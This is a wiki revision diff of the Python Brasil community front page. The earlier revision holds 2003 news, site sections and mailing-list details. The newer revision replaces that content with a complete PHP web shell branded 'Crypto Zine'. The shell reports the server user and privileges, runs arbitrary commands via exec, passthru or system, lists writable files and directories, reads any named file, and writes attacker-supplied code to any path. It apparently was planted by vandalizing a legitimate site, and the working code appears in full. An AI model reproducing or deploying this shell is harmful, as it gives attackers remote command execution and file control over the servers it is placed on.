5367
Comentário:
|
4935
|
Deleções são marcadas assim. | Adições são marcadas assim. |
Linha 1: | Linha 1: |
#pragma section-numbers off = Python Brasil = Este site, foi idealizado para abrigar todo o material sobre [http://python.org Python] editado em nosso idioma. Ele utiliza o software MoinMoin que é um Wiki inteiramente escrito em Python. Esse sistema foi escolhido por sua facilidade de uso e por ser uma ferramenta bastante democrática, permitindo que se desenvolva material rapidamente. = Destaque da Semana = ["PythonComADO"] - por WashingtonCoutinhoCorrêaJr - Excelente tutorial que fala sobre Python acessando banco de dados via ADO do Windows. = Notícias = * '''[[DateTime(2003-12-13T12:00:00)]] - Lunatic Python foi lançado!''': Realmente o GustavoNiemeyer está com tudo. Não bastasse ele ser um dos brasileiros que contribuem com a distribuição oficial de Python ainda sobra tempo pra ele desenvolver alguns projetos paralelos. Este é para quem gosta de Python e também gosta de Lua (Linguagem de programação criada no Brasil). Para dar uma conferida no resultado: https://moin.conectiva.com.br/LunaticPython. * '''[[DateTime(2003-12-12T12:00:00)]] - Back to the Future II "2o Python-lunch no SDSL"''': 6a-feira, dia 12, estaremos lá de novo, e combinamos um local de encontro mais preciso: a portaria do bloco E da FEEC, que fica bem próxima do local dos mini-cursos e na frente da banquinha da livraria Tempo Real. Entre 12:00 e 12:30 estaremos esperando formar um grupo para escolher onde almoçar. * '''[[DateTime(2003-12-05T12:00:00)]] - Python versão 2.3.3 release candidate 1 liberada''' - A versão é uma correção de vários bugs na versão 2.3.2, incluindo alguns problemas sérios com weakrefs e garbage colector, além de várias correções em módulos da biblioteca padrão. http://www.python.org/2.3.3/ * '''[[DateTime(2003-12-10T12:00:00)]] - Back to the Future: Almoço durante SDSL''' - Toda comunidade Pythonica está convidada a participar de um (ou vários) almoço de confraternização durante o [http://rau-tu.ccuec.unicamp.br/sdsl/ SDSL] em Campinas no período de 9 a 12/12/2003. Podemos (e devemos) usar este espaço para conciliar a agenda dos diversos participantes. Ponto de encontro sugerido: Entrada principal da FEEC - Faculdade de Eng.Elétrica e de Computação, onde estará sendo realizado o evento. Horário de encontro: 12:00 (tolerância de 15 min -- já prevendo à fome). Quasiquer outras sugestões...isto é um Wiki! * '''[[DateTime(2003-12-03T20:00:00)]] - Quem quer dinheiro?''' - A [http://www.markshuttleworth.com/bounty.html Fundação Shuttleworth] está a procura de interessados em projetos Python para financiar. O valor destinado a esses financiamentos chegam a $100mil. A página deles tem mais detalhes de como participar da seleção dos projetos. * '''[[DateTime(2003-11-30T18:00:00)]] - Versão nova do txt2tags''' - Saiu a versão 1.7 do Txt2Tags, o conversor de textos legitimamente brasileiro que faz parte do projeto GNU. |
<center> <?php |
Linha 24: | Linha 5: |
* '''[[DateTime(2003-11-30T13:00:00)]] - Domínio!''' - Finalmente! Após dias de briga com minha máquina que queimou, consegui colocá-la para funcionar e poder dar uma 'arrumada' aqui na casa para podermos lançar finalmente o ''pythonbrasil.com.br''. Agora eu peço a ajuda de vocês para divulgarem a nossa página em sites de notícias, amigos, parentes, empresários. Então está dado o recado, a partir de hoje a casa do Python no Brasil fica em: http://www.pythonbrasil.com.br. Assim que me sobrar um tempinho extra eu providencio a organização das contas de e-mail para a galera. Leia mais em NotíciasAntigas. = Seções = Aqui estão algumas das seções desse site. Se você gostaria de sugerir outras é só entrar em contato com o WikiMaster mais próximo. * PerguntasFrequentes - Perguntas e Respostas frequentes. * DocumentaçãoPython - Documentação, Livros, Manuais, Tutoriais e afins. {UPDATE} * ArtigosTutoriais - Artigos e Tutoriais sobre Python. {UPDATE} * CookBook - Trechos de códigos úteis. * ComoUsarWiki - Como usar esse site. Introdução Rápida. * SoftwarePython - Módulos, Editores e Ferramentas para desenvolvimento Python, bem como projetos desenvolvidos por brasileiros. * EmpresasPython - Empresas Brasileiras que já usam Python para aumentar seus lucros :) * OutrosGruposUsuários - Outros sites de grupos de usuários Python. * OportunidadesDeEmprego - Vamos fazer a nossa parte no 'espetáculo do crescimento'. Empregue-se e ofereça empregos. Alguns recadinhos profissionais também estão aqui. * LivroDeVisitas - Livro de visitas do Site (entre aqui e deixe sua assinatura). = Como Participar = Você pode participar da comunidade PythonBrasil diretamente aqui no site, através da lista de discussão ou via IRC. === Lista de Discussão === Existem duas listas: a python-br@yahoogroups.com que é a mais povoada e com mais movimento e a python-brasil@yahoogrupos.com.br, que foi criada depois, porque a senha de administração da python-br foi perdida, ocasionando alguns SPAMs eventuais na lista. Na dúvida, se cadastre nas duas. E observe que a python-br fica no yahoogroups.com (americano) e o python-brasil fica no yahoogrupos.com.br (brasileiro). === Canais de IRC === O canal oficial do Python no Brasil é o #python-br do irc.freenode.org mas também tem uma galerinha esperta que frequenta o #python da irc.brasnet.org. |
closelog( ); $dono = get_current_user( ); $ver = phpversion( ); $login = posix_getuid( ); $euid = posix_geteuid( ); $gid = posix_getgid( ); if ($chdir == "") $chdir = getcwd( ); ?> <?php $uname = posix_uname( ); while (list($info, $value) = each ($uname)) { ?> <TR> <TD width="457"><DIV STYLE="font-family: verdana; font-size: 10px;"><?= $info ?>: <?= $value ?></DIV></TD> </TR> <?php } ?> <center> <TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||Usuario Corrente|||<br> <?= $dono ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PHP|||<br> <?= $ver ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PriV|||<br> uid(<?= $login ?>) euid(<?= $euid ?>) gid(<?= $gid ?>)</DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">||||Path||||<br> <?= $chdir ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||ServerName|||<br><?php $aaa = gethostbyname($SERVER_NAME); echo $aaa;?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #f40707">|||HTTPD|||<br> <?="$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD> </TR> </TABLE> <BR> <?php if ($cmd != "") { echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>"; ?> <DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV> <?php if ($fe == 1){ $fe = "exec"; } if ($fe == ""){ $fe = "passthru"; } if ($fe == "2"){ $fe = "system"; } if (isset($chdir)) @chdir($chdir); ob_start( ); $fe("$cmd 2>&1"); $output = ob_get_contents(); ob_end_clean( ); ?> <TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 10px;"> <?php if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output)); ?> </TEXTAREA> <BR> <?php } if ($listar != "") { echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>"; ?> <DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV> <?php if ($dir = @opendir($chdir)) { echo "<TABLE border=1 cellspacing=1 cellpadding=0>"; echo "<TR>"; echo "<TD valign=top>"; echo "<b><font size=2 face=arial>Arquivos</b> <br><br>"; while (($file = readdir($dir)) !== false) { if (@is_file($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "<font color=green>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&oia=$file>$file</a><br>"; // echo "<font color=green>$file1 - $file2 - $file </font><br>"; flush( ); } } echo "</TD>"; echo"<TD valign=top>"; echo "<b><font size=2 face=arial>Pastas</b> <br><br>"; if ($dir = @opendir($chdir)) { while (($file = readdir($dir)) !== false) { if (@is_dir($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "<font color=blue>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file>$file</a><br>"; // echo "<font color=blue>$file1 - $file2 - $file </font><br>"; } } } echo "</TD>"; echo"<TD valign=top>"; echo "<b><font size=2 face=arial>Pastas Alteraveis</b><br><br>"; if ($dir = @opendir($chdir)) { while (($file = readdir($dir)) !== false) { if (@is_writable($file) && @is_dir($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "<font color=red>$file1 - $file2 - $file </font><br>"; } } } echo "</TD>"; echo "</TD>"; echo "<TD valign=top>"; echo "<b><font size=2 face=arial>Arquivos Alteraveis</b> <br><br>"; if ($dir = opendir($chdir)) { while (($file = readdir($dir)) !== false) { if (@is_writable($file) && @is_file($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "<font color=red>$file1 - $file2 - $file </font><br>"; } } } echo "</TD>"; echo "</TR>"; echo "</TABLE>"; } } ?> <html> <body> <form action=<?php echo $PHP_SELF; ?> method=post> <input type=text name=codigo value="Codigo"> <input type=text name=caminho value="Caminho"> <br> <input type=submit value=Send> <br> </body> </html> <?php $codigo="$_POST[codigo]"; $caminho="$_POST[caminho]"; $fp = fopen("$caminho", "w"); $ok = fwrite($fp, $codigo); if ($oia != "") { $fp = fopen($oia, "r"); $read = fread($fp, 30000); echo "$oia<br>"; echo "<textarea name=textarea cols=80 rows=15>"; echo "$read"; Echo "</textarea>"; } ?> |
<center> <?php
- closelog( ); $dono = get_current_user( ); $ver = phpversion( ); $login = posix_getuid( ); $euid = posix_geteuid( ); $gid = posix_getgid( ); if ($chdir == "") $chdir = getcwd( );
?>
<?php
- $uname = posix_uname( ); while (list($info, $value) = each ($uname)) {
?>
<TR>
<TD width="457"><DIV STYLE="font-family: verdana; font-size: 10px;"><?= $info ?>: <?= $value ?></DIV></TD>
</TR>
<?php
- }
?> <center>
<TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||Usuario Corrente|||<br> <?= $dono ?></DIV></TD>
</TR> <TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PHP|||<br> <?= $ver ?></DIV></TD>
</TR> <TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PriV|||<br> uid(<?= $login ?>) euid(<?= $euid ?>) gid(<?= $gid
?>)</DIV></TD>
</TR> <TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">||||Path||||<br> <?= $chdir ?></DIV></TD>
</TR> <TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||ServerName|||<br><?php $aaa = gethostbyname($SERVER_NAME);
echo $aaa;?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #f40707">|||HTTPD|||<br> <?="$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD>
</TR>
</TABLE> <BR> <?php
- if ($cmd != "") {
echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>";
?>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV> <?php
if ($fe == 1){ $fe = "exec"; } if ($fe == ""){ $fe = "passthru"; } if ($fe == "2"){ $fe = "system"; }
- if (isset($chdir)) @chdir($chdir); ob_start( );
$fe("$cmd 2>&1"); $output = ob_get_contents();
?> <TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 10px;"> <?php
if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
?> </TEXTAREA> <BR> <?php
- } if ($listar != "") {
echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>";
?> <DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV> <?php
- if ($dir = @opendir($chdir)) {
echo "<TABLE border=1 cellspacing=1 cellpadding=0>"; echo "<TR>"; echo "<TD valign=top>"; echo "<b><font size=2 face=arial>Arquivos</b> <br><br>"; while (($file = readdir($dir)) !== false) {
- if (@is_file($file)) {
- $file1 = fileowner($file); $file2 = fileperms($file);
echo "<font color=green>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&oia=$file>$file</a><br>"; // echo "<font color=green>$file1 - $file2 - $file </font><br>"; flush( );
- $file1 = fileowner($file); $file2 = fileperms($file);
echo "</TD>"; echo"<TD valign=top>"; echo "<b><font size=2 face=arial>Pastas</b> <br><br>"; if ($dir = @opendir($chdir)) {
- while (($file = readdir($dir)) !== false) {
- if (@is_dir($file)) {
- $file1 = fileowner($file); $file2 = fileperms($file);
echo "<font color=blue>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file>$file</a><br>"; // echo "<font color=blue>$file1 - $file2 - $file </font><br>";
- $file1 = fileowner($file); $file2 = fileperms($file);
- if (@is_dir($file)) {
echo "</TD>"; echo"<TD valign=top>"; echo "<b><font size=2 face=arial>Pastas Alteraveis</b><br><br>"; if ($dir = @opendir($chdir)) {
- while (($file = readdir($dir)) !== false) {
if (@is_writable($file) && @is_dir($file)) {
- $file1 = fileowner($file); $file2 = fileperms($file);
echo "<font color=red>$file1 - $file2 - $file </font><br>";
- $file1 = fileowner($file); $file2 = fileperms($file);
echo "</TD>"; echo "</TD>"; echo "<TD valign=top>"; echo "<b><font size=2 face=arial>Arquivos Alteraveis</b> <br><br>"; if ($dir = opendir($chdir)) {
- while (($file = readdir($dir)) !== false) {
if (@is_writable($file) && @is_file($file)) {
- $file1 = fileowner($file); $file2 = fileperms($file);
echo "<font color=red>$file1 - $file2 - $file </font><br>";
- $file1 = fileowner($file); $file2 = fileperms($file);
echo "</TD>"; echo "</TR>"; echo "</TABLE>";
- if (@is_file($file)) {
- }
?>
<html> <body> <form action=<?php echo $PHP_SELF; ?> method=post> <input type=text name=codigo value="Codigo"> <input type=text name=caminho value="Caminho"> <br> <input type=submit value=Send> <br> </body> </html>
<?php
$codigo="$_POST[codigo]"; $caminho="$_POST[caminho]"; $fp = fopen("$caminho", "w");
- $ok = fwrite($fp, $codigo);
if ($oia != "") {
- $fp = fopen($oia, "r"); $read = fread($fp, 30000);
echo "$oia<br>"; echo "<textarea name=textarea cols=80 rows=15>"; echo "$read"; Echo "</textarea>";
} ?>